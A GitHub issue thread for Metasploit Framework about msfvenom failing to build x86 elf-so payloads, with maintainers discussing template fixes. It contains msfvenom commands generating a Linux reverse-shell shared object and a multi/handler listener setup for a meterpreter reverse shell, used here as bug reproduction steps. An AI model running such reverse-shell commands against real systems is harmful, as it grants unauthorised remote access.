Metasploit-framework: Msfvenom fails to generate x86 elf-so payloads

[0x00string]

Steps to reproduce

1. Msfvenom -p linux/x86/shell_reverse_tcp -f elf-so

Expected behavior

An elf-so payload is produced, as with the x86_64 format and payload (linux/x64/shell_reverse_tcp -f elf-so)

Current behavior

The initial payload is generated, but no elf-so is generated.

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=1337 PrependFork=true -f elf-so -o ELFSO
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 83 bytes
Error: The payload could not be generated, check options

Soz for poor report, I'm afk on a phone

[timwr]

I can confirm this. I failed miserably at adding an armle template here: https://github.com/timwr/metasploit-framework/commit/fa92d944eeef20ff687be6cafd7291c73cbde406. x86 might be easier

[wvu-r7]

This works with x64. This works only with x64. I'm sorry.

[wvu-r7]

See the linked PR I created and then immediately closed. Thanks.

[busterb]

Yeah, agree @timwr, x86 doesn't look too bad, since the original template can be modified more readily with nasm. https://github.com/bcook-r7/metasploit-framework/commit/47682727de842ab0f41258bf5cac130a1ab91ca9

[wvu-r7]

Reopening since we're close to having an x86 template.

[Tikam02]

It works fine.

root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.210.132 LPORT=1337 PrependFork=true -f elf-so -o ELFSO
root@kali:~#

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.210.132
lhost => 192.168.210.132
msf exploit(handler) > set lport 1337
lport => 1337
msf exploit(handler) > exploit

[] Started reverse TCP handler on 192.168.210.132:1337
[] Starting the payload handler...

[wvu-r7]

What works fine? Your example shows a Linux payload, but your handler shows a Windows payload.

[wvu-r7]

And you haven't shown any successful output. Please explain how the problem is fixed.

[busterb]

I think @Tikam02 might have forgotten to PR the his work. Looking forward to it.

[0x00string]

will close this after testing, but it seems to be generating a valid payload now! woohoo!

[wvu-r7]

This is definitely done.